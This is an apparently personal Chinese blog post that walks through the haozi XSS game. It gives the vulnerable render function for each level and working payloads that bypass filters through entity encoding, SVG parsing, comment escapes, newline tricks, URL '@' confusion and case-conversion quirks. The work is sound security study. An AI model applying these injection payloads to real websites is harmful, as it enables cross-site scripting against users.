Xss Game挑战

前言

最新学习了下xss的更深入的东西,学习了一波浏览器解析机制和XSS向量编码的知识。

这里就些xss的练习题巩固知识

学习的话结合如下两篇文章看,从例子和基础原理层面都有:

http://bobao.360.cn/learning/detail/292.html

https://xz.aliyun.com/t/5950?accounttraceid=5564cfe1bcf849fd86c4ac5e40e772e7qcnv

最常见的html编码有:html实体编码。分为十进制和十六进制

如把尖括号编码[ < ]  十进制: &#60;  html十六进制:&#x3c;(这里的分号是可以省掉的)

最常见的js编码有:八进制,十六进制,jsunicode编码。

如把尖括号编码[ < ]  八进制:74  十六进制:x3c  unicode:u003c

Xss Game挑战

项目:https://github.com/haozi/xss-demo

地址:https://xss.haozi.me

自带alert(1)的js地址:https://xss.haozi.me/j.js

0x00

我这里选择闭合下div标签或者可以直接插入<script>alert(1)</script>

function render (input) {
  return '<div>' + input + '</div>'
}

payload

</div><script>alert(1)</script><div>

0x01

如果看了上面的文章可以知道,不能直接在<textarea>标签中直接插入<script>xx</script>,是不会执行,无效的。这里必须闭合标签才可以

function render (input) {
  return '<textarea>' + input + '</textarea>'
}

payload

</textarea><img src=x onerror=alert`1`><textarea>

0x02

input标签中可以使用事件

function render (input) {
  return '<input type="name" value="' + input + '">'
}

payload

123" onmouseover="alert`1`
123" onmouseover="&#97;&#108;&#101;&#114;&#116;&#96;&#49;&#96;

0x03

这里用了javascript中的replace方法,带/g就是全局替换,会将(和)替换为空

function render (input) {
  const stripBracketsRe = /[()]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

payload

<script>alert`1`</script>

这里使用的是Es6中的标签模板,运用如下

 “标签模板”的一个重要应用,就是过滤 HTML 字符串,防止用户输入恶意内容。

let message =
  SaferHTML`<p>${sender} has sent you a message.</p>`;
 
function SaferHTML(templateData) {
  let s = templateData[0];
  for (let i = 1; i < arguments.length; i++) {
    let arg = String(arguments[i]);
 
    // Escape special characters in the substitution.
    s += arg.replace(/&/g, "&amp;")
            .replace(/</g, "&lt;")
            .replace(/>/g, "&gt;");
 
    // Don't escape special characters in the template.
    s += templateData[i];
  }
  return s;
}

上面代码中,sender变量往往是用户提供的,经过SaferHTML函数处理,里面的特殊字符都会被转义。

let sender = '<script>alert("abc")</script>'; // 恶意代码
let message = SaferHTML`<p>${sender} has sent you a message.</p>`;
 
message
// <p>&lt;script&gt;alert("abc")&lt;/script&gt; has sent you a message.</p>

标签模板的另一个应用,就是多语言转换(国际化处理)。

i18n`Welcome to ${siteName}, you are visitor number ${visitorNumber}!`
// "欢迎访问xxx,您是第xxxx位访问者!"

学习自=>https://blog.csdn.net/TSeven37/article/details/82079286

0x04

这次过滤了(),也过滤了`,这样就用不了模板标签了的特性了

function render (input) {
  const stripBracketsRe = /[()`]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

这里百度找了一下,需要用到svg,为了更好了解,发现[CISCN2019 华东北赛区]Web2涉及到svg,于是通过题目又了解了一波=>https://www.cnblogs.com/keelongz/p/12628740.html

svg中是可以字符引用的,这里设计到了上面文章说的数据状态中的字符引用

payload

<svg><script>alert&#40;1&#41;</script></svg>
<iframe srcdoc="<script>alert&#40;1&#41;</script>">
<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:%61%6c%65%72%74%28%32%29">123</a>
补充:绕过()
<a onmouseover="javascript:window.onerror=alert;throw 1">aa

第二个payload运用的也是属性状态的字符引用。是H5中iframe的特点,因为h5中iframe的srcdoc属性,srcdoc里的代码会作为iframe中的内容显示出来,srcdoc中可以直接去写转译后的html片段。

第三个payload,照理说是可以的,属性值状态的字符引用,然后html解码->url解码=><a href="javascript:alert(2)">点击是可以触发xss的。但是没有算✔成功。

0x05

 这里是需要逃逸注释,但是过滤了-->,替换成了笑脸。

function render (input) {
  input = input.replace(/-->/g, '😂')
  return '<!-- ' + input + ' -->'
}

注释符结尾不一定是要-->,可以加上一个感叹号。比如<!--xxx--!>

payload

--!><script>alert(1)</script>

0x06

这里过滤了auto,还有on开头=结尾的,以及>,匹配大小写替换成_。

输入点在value后

function render (input) {
  input = input.replace(/auto|on.*=|>/ig, '_')
  return `<input value=1 ${input} type="text">`
}

这道题参考了下WP,这里是通过换行来绕过的。

payload

onmouseover
=alert(1)

 

0x07

这里匹配了以<开头,>结尾,中间只要有/或者任意的字符,就会匹配成空。这里也就不能换行了

function render (input) {
  const stripTagsRe = /<\/?[^>]+>/gi

  input = input.replace(stripTagsRe, '')
  return `<article>${input}</article>`
}

这里看了WP说是利用容错机制。并且这里可以用//单行注释掉后面的内容也是可以的

payload

<svg onload='alert(1)'

<img src=x onerror='alert(1)'

<iframe src=javascript:alert`1`//

<iframe src=javascript:alert`1`//也是可以的,但是没有显示过关。不过确实可以跳出来

 

0x08

这里把</style>替换成了坏人

function render (src) {
  src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
  return `
    <style>
      ${src}
    </style>
  `
}

这里的解体思路就是用+空格或者换行,绕过</style>的替换

payload

</style
>
<script>alert(1)</script>
</style ><script>alert(1)</script>

0x09

这里用test方法检测input字符串是否匹配正则。必须是https://www.segmentfault.com或者http://www.segmentfault.com

function render (input) {
  let domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${input}"></script>`
  }
  return 'Invalid URL'
}

这里我直接闭合<script>,然后注释

payload

http://www.segmentfault.com"></script><script>alert(1)//"
或者参考链接中的
https://www.segmentfault.com"></script><svg/onload=alert(1)>//

第二个payload利用了svg的容错性

0x0A

感觉上升了一个等级,这里将&,',",<,>,/都替换为HTML 实体

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f')
  }

  const domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${escapeHtml(input)}"></script>`
  }
  return 'Invalid URL'
}

这里看了下参考链接中的WP,发现是通过@来绕过,这在ssrf中可以见到。URI语法->https://segmentfault.com/a/1190000013067553

payload

https://www.segmentfault.com@xss.haozi.me/j.js

Chrome里不算成功,firefox里是算成功。

0x0B

这里toUpperCase() 方法用于把字符串转换为大写

function render (input) {
  input = input.toUpperCase()
  return `<h1>${input}</h1>`
}

这里也参照了了一下。发现如下TIPS:

html标签大小写无影响;
js严格区分大小写。

所以下一面这一串的小写是可以执行的,大写是不行的。只要将alert改为小写才行

<h1></H1><SCRIPT>ALERT(1)</SCRIPT><H1></h1>

这里有两种方法绕过,一种是通过属性值状态引用,字符实体的绕过,一种是引用外部js。

但是第一种方法,发现链接里是J.JS无法获取,所以不成功

<script src="https://xss.haozi.me/j.js"></script>
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;&#40;1&#41;>

0x0C

这里将script替换为空,然后转化为大写

function render (input) {
  input = input.replace(/script/ig, '')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

paylaod

<img src=x onerror=&#97;&#108;&#101;&#114;&#116;&#40;1&#41;>

同上

0x0D

 这里把</"'字符都替换成了空,并且用单行注释注释了alert(输入部分)的内容

function render (input) {
  input = input.replace(/[</"']/g, '')
  return `
    <script>
          // alert('${input}')
    </script>
  `
}

这里参考链接中的方式,通过换行绕过//单行注释,通过html注释-->  单行注释后面内容

payload

alert(1)
-->

 

0x0E

过滤了以<开头的字符,并且设置了大写

function render (input) {
  input = input.replace(/<([a-zA-Z])/g, '<_$1')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

这里基本无法写入标签,参考链接中通过字符ſ大写后会变成S,于是可以外链绕过,但是自己实现是不行的

payload

<ſcript src="https://xss.haozi.me/j.js"></script>
<ſvg><ſcript>&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;</script></svg>

第二个payload是利用SVG可以执行实体字符的特性绕过

0x0F

 这里过滤的很多,将很多字符都转化为了实体字符,突破口应该就在return返回的语句中

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f;')
  }
  return `<img src onerror="console.error('${escapeHtml(input)}')">`
}

因为这里是在onerror属性中,可以执行js语句,并且可以容纳字符实体。于是这里可以闭合,然后alert即可

payload

');alert(1);//

 

0x10

赋值给window.data

function render (input) {
  return `
<script>
  window.data = ${input}
</script>
  `
}

直接输入alert(1)即可弹窗,或者用分号;隔开,或者换行

payload

alert(1)
'1';alert(1)

0x11

 

// from alf.nu
function render (s) {
  function escapeJs (s) {
    return String(s)
            .replace(/\\/g, '\\\\')
            .replace(/'/g, '\\\'')
            .replace(/"/g, '\\"')
            .replace(/`/g, '\\`')
            .replace(/</g, '\\74')
            .replace(/>/g, '\\76')
            .replace(/\//g, '\\/')
            .replace(/\n/g, '\\n')
            .replace(/\r/g, '\\r')
            .replace(/\t/g, '\\t')
            .replace(/\f/g, '\\f')
            .replace(/\v/g, '\\v')
            // .replace(/\b/g, '\\b')
            .replace(/\0/g, '\\0')
  }
  s = escapeJs(s)
  return `
<script>
  var url = 'javascript:console.log("${s}")'
  var a = document.createElement('a')
  a.href = url
  document.body.appendChild(a)
  a.click()
</script>
`
}

闭合然后分开即可,单行注释后面内容

payload

");alert(1)//

 

 

0x12

跟上面差不多只不过变成了\\"

// from alf.nu
function escape (s) {
  s = s.replace(/"/g, '\\"')
  return '<script>console.log("' + s + '");</script>'
}

依旧闭合,然后多加一个\使之符合

payload

\");alert(1);//

 

 

 

 

 

参考链接:

http://www.lmxspace.com/2018/08/09/xss-%E6%8C%91%E6%88%98%E8%B5%9B/

 

posted @ 2020-04-07 23:04  yunying  阅读(1380)  评论(2编辑  收藏  举报